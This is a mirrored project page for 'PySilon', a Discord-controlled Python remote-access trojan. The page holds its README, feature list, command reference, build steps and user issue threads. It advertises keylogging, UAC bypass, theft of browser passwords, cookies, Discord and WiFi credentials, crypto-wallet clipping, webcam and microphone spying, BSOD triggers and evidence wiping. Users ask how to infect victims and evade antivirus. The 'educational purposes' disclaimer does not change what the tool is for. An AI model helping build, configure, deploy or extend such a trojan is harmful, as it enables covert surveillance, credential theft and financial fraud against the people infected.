Code Monkey home page Code Monkey logo

pysilon-malware's Introduction

PySilon Malware

Advanced RAT malware written in Python, fully controllable through Discord with dedicated GUI builder to make preparation easier.


Wiki

Read our extensive Wiki for more information and detailed building instructions.

Wiki

PySilon Community

Join our Telegram and Discord servers for suppork, to ask questions, recommend features and talk to like minded people!

Telegram - Group Discord

Telegram Channel

Subscribe to our Telegram channels to always stay up-to-date with the most recent updates and interact with the community!

Telegram - Channel


Table of contents


Disclaimer

Information and code provided on this repository are for educational purposes only. The creator is no way responsible for any direct or indirect damage caused due to the misusage of the information. Everything you do, you are doing at your own risk and responsibility.


Features

PySilon malware can do plenty of things, like:

  • handle multiple PCs (not only one, like in most of the cases)
  • UAC Bypass (gain Administrative permissions on startup)
  • delete itself whenever you want
  • log every key pressed on keyboard (keylogger)
  • take screenshots anytime you want
  • record screen anytime you want
  • elevate itself to critical process (will trigger Blue Screen of Death when killed)
  • directly manipulate victim's PC graphics (display custom "things"->[bitmaps, images, texts, glitch effects])
  • turn off/on monitors of victim's PC
  • block access to any website
  • browse and kill running processes
  • disable processes (make certain processes impossible to run)
  • communicate with the victim in several ways
  • use Text-To-Speech on victim's PC
  • take images from webcam
  • block the mouse and keyboard
  • steal saved WiFi passwords
  • grab history, cookies and passwords saved in web browsers
  • grab discord tokens
  • grab system information
  • manipulate Windows sounds settings (change the volume)
  • play audio files on victim's PC (in background)
  • record microphone input (24/7) and save it in .wav files
  • stream live microphone input on voice channel
  • browse files on target PC
  • upload and download files from target PC
  • remove files from target PC
  • execute files on target PC
  • replace copied crypto currency wallet addresses to your [configured] ones
  • trigger jumpscares
  • trigger Blue Screen of Death
  • execute fork bomb (crash the PC)
  • Anti-VM (PySilon won't run on Virtual Machines, f.ex.: VirtualBox, VMWare)
  • run shell commands (CMD/Powershell)
  • Debug Mode for easier testing and contribution

Preparation

git clone https://github.com/mategol/pysilon-malware
cd pysilon-malware
Create Discord BOT and server
Windows: Run the PySilon.bat either from Command Line or double clicking on it
Linux: Run the PySilon.sh from Command Line


Available commands

.ss - take screenshot at any time
.screenrec - record the screen for 15 seconds
.critical-enable - elevates the process to critical status (.critical-disable to undo)
.display-graphic - manipulate low-level graphics by displaying pixels prepared in DrawlingStudio
.display-glitch <name> - display specified screen glitch
.monitors-off - turn off all monitors (.monitors-on to turn back on)
.website-block <website> - block specified website from being accessed from any browser (.website-unblock <website> to unblock it)
.show <what-to-show> - get list of running processes or available commands
.kill <process-name-or-id> - kill any running process
.blacklist <process-name> - adds specified process to the blacklist (victim won't be able to run it)
.whitelist <process-name> - removes specified process from the blacklist (victim will be able to run it)
.foreground - get active window process name
.msg title="<title>" text="<text>" style=<style> - send a message to victim and get the response
.tts <message> - plays a Text-to-Speech message on victim's PC
.webcam <action> - use connected webcam (currently supports photos shooting)
.block-input - block the mouse and keyboard(.unblock-input to unblock it)
.grab <what-to-grab> - grab for example saved passwords in web browsers
.volume <value> - change the audio output volume on victim's PC
.play [<file>] - play any .mp3 file on the victim's PC (existing one or sent in the next message if no filename was provided)
.join - join voice-channel and stream live microphone input
.pwd - show working directory
.ls - list content of working directory
.tree - show tree of working directory
.cd <directory> - change working directory
.upload <type> [<name>] - upload any file or zipped directory (also greater than 8MB ones) onto target PC
.download <file-or-directory> - download any file or zipped directory (also greater than 8MB ones) from target PC
.remove <file-or-directory> - remove file or directory on target PC
.execute <file> - run any file on target PC
.start-clipper - start crypto-clipper (swap crypto currency wallet addresses to your ones)(.stop-clipper to stop it)
.jumpscare [<preset>] - play very loud and rapidly flashing video or other graphics
.bsod - trigger Blue Screen of Death
.forkbomb - execute fork bomb
.cmd <command> - execute shell command on victim's PC and send back the output
.implode - remove PySilon from target PC and clean the "evidence"
.clear - clear messages from file-related channel


Donation methods

  • XMR: 45wj2aubQQQfswkuojCQhZgHCs67nabskhrwYTDEaVmkPtcXZmrkqKKSV1JuhXLU8QfnkyagZXyBM1a9fPHrVyJkGrBxtiB
  • Paypal: [email protected]

ToDo

List of features that should appear in following releases:

  • webhook connection in case of unexpected circumstances (like BOT-Token banned by Discord)
  • overall system info grabber with cool Discord Embeds
  • traditional reverse shell creator
  • grab credit cards information
  • optional crypto mining (for example, when victim is idle)
  • grab sessions from popular applications (Steam/Minecraft/Metamask/Exodus/Roblox)

pysilon-malware's People

Contributors

dependabot[bot] avatar gvolexe avatar horridmodz avatar icronic avatar mategol avatar neek8044 avatar s-liwka avatar vilewired avatar yaw-dev avatar zorromundo avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pysilon-malware's Issues

can't open Pysilon.bat

When trying to open the file i get this message (Nie mo#===============================================================#

Software terminated.

If you like this project please consider giving me a star

to let others know that this is something worth looking into.

#===============================================================#

Press any key to continue . . .)

icon

how do i change the icon of the generated source when i use the pysilon.bat file to make my file it keeps changing the icon back to the pysilon logo please help me

About the size

About the size removing "cv2,VideoCapture" ise as you said but it still weighs the same size

Token Grabber Credit

Hello,

I'm looking to use the token grabber in a project of mine. I'm unsure who to credit. Is the token grabber by you, or someone else? If it's by someone else, may I please have the original link?

.implode and how to stop audio register?

I uploaded the key and reacted with skull but it doesn't get removed , and another thing the bot records like every 2 minutes I want to disable this how do I do it?

Not able to issue any commands

typing .grab passwords or .show commands yields no window or response from bot. original commands stop working aswell.

Bugs

.grab discord and .grab passwords dont work it just deletes the message and .ss does not work too

Token Visible in EXE

This is a really cool tool. I tested it out on myself and was impressed by its capabilities. But I did realize one thing: After running comple.py, the bot token is present in the code of main_prepared.py. This means that, whether you distribute the python source or the executable, it is possible for the victim to discover the token themself. Once they have the bot token, they can take control of the bot and access the discord server, causing it to backfire.

A solution would be to have a man in the middle. It would be ideal to send requests to a custom server that would use the bot token and make requests to the discord api itself. However, this would require much more work to set up.

By the way, is there a way to turn certain features off? For example, the automatic keylogging is kind of annoying.

Execute Command Problem

Hi Im having an issue with the .execute command. How to do that like when I type .execute and drag the file to be executed it does not work. I have also tried by pasting the file directory it failed. So can anyone help please?

Not working commands + key bug

Hello I'm testing your program and it works great. But I have problem with command: ".show commands", when I write it, it dissapears and nothing happend. When I was creating source code I have checked all fields. I think that I also find problem with keystrokes that user clicks, for example if user clicks esc, pysilion shows: Key.esc, with clicking "insert", "capslock" problem is the same. Other keys shows normaly. For the end I will add that when I was compiling program it shows me an error, I added photo, but program normaly compiles and works. Any ideas why ".show commands" not work or what is the list of commands ?
comp_error

Need help

Hello, I need some help doing this as it[s quite confusing and my bot is never online, nor following commands.

Works Great

Tested it with a buddy and everything works on it 👍

Not an Issue but

This malware is actually good, the only thing is the huge file it is after compiling. Like Imagine who will run a sus file thats 100mb big.

problem

File "C:\Users\Alcidae\AppData\Local\Programs\Python\Python310\lib\configparser.py", line 964, in getitem
raise KeyError(key)
KeyError: 'keylogr'

cv2 importing fail OpenCV

image

tried compiling with venv and without python3.10 multi mode

for now gonna try to remove the func where it uses

What to do?

After channels iq:
Software registry name: PySilon-malware
Software directory name (default -> REGISTRY_NAME): PySilon-malware
Software executable name (default -> DIRECTORY_NAME + .exe): PySilon-malware.exe
Would you like to set a custom icon to compiled executable? Y/n n
Traceback (most recent call last):
File "/PySilon-malware/tools/compiler.py", line 44, in
with open('main.py', 'r') as copy_source_code: source_code = copy_source_code.readlines()
FileNotFoundError: [Errno 2] No such file or directory: 'main.py'

How to fix?

console windows visible and exe showing in sound menu

  1. When launching, or doing some other functions it sometimes shows a console window popup.

  2. Also in volume mixer menu, you can see Pysilon.exe and its volume setter.
    image

  3. When doing .show passwords/history or something it will generate a text file on slave pc in the exe directory and leave it there
    image

Feature Fix

Feature update:

.cd
.pwd

Both dont show the actual directory. Example will be attached.
image_2022-12-08_122458499
The first command was the completion of a cd command
The second command is a example of a pwd command

Any further question please dont hesitate to contact me.

Donny#1337

File management questions

Dear Developer!
I am in testing Your app. It is great, but pls. help me in a few questions.

  • how can i change working drive on the victim pc?
  • must the app started with admin rights, on first execution?
    Thx!

PermissionError: [WinError 5] Accesc Denied:

Every time i compile, i got this error:
PermissionError: [WinError 5] Access Denied: 'C:\Users\***\PySilon-malware-main\pysilon\Lib\site-packages\~.l\_imaging.cp311-win_amd64.pyd'
I tried many thing, but nothing worked. Can you help me? (ik i'm stupid)

[Suggestion] Cross-Platform Support Implementation

I have a suggestion for making PySilon work cross-platform: You can automatically detect the infected operating system and only enable windows-specific features if they are supported.

To detect if it the operating system is Windows, you can use the platform module:

import platform

def is_windows():
	return platform.system() == "Windows"

Error

Traceback (most recent call last):
File "C:\Users\kanch\OneDrive\Desktop\PySilon-malware-main\compiler.py", line 71, in
with open('main.py', 'r') as copy_source_code: source_code = copy_source_code.readlines()
File "C:\Users\kanch\AppData\Local\Programs\Python\Python310\lib\encodings\cp1252.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 1516: character maps to

Process finished with exit code 1

Error

After command "python2.7 compiler.py":

File "compiler.py", line 47
match line:
^
SyntaxError: invalid syntax

Syntax Error

There's a syntax error in "source_prepared.py", I am not sure what it is but have a look at it on line 3883
The error code:

Syntax error in C:\Users\user\Documents\PySilon\source_prepared.py
  File "C:\Users\user\Documents\PySilon\source_prepared.py", line 3883
     listener.join()with Listener(on_press=on_press) as listener:
                    ^^^^
 SyntaxError: invalid syntax

Help

Is It Just Me Or Like How Does The Victim Get The Malware Onto There Computer

why i think im just getting ratted with this app myself

this stuff is nice, i hope im not getting ratted, dont have the energy to go through all the code. what do you think of converting this to c++? i heard this gets flagged my many avs, what about not using upx compressor, trying to compile to exe with nuitka or something, using pyarmor to obfuscate...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.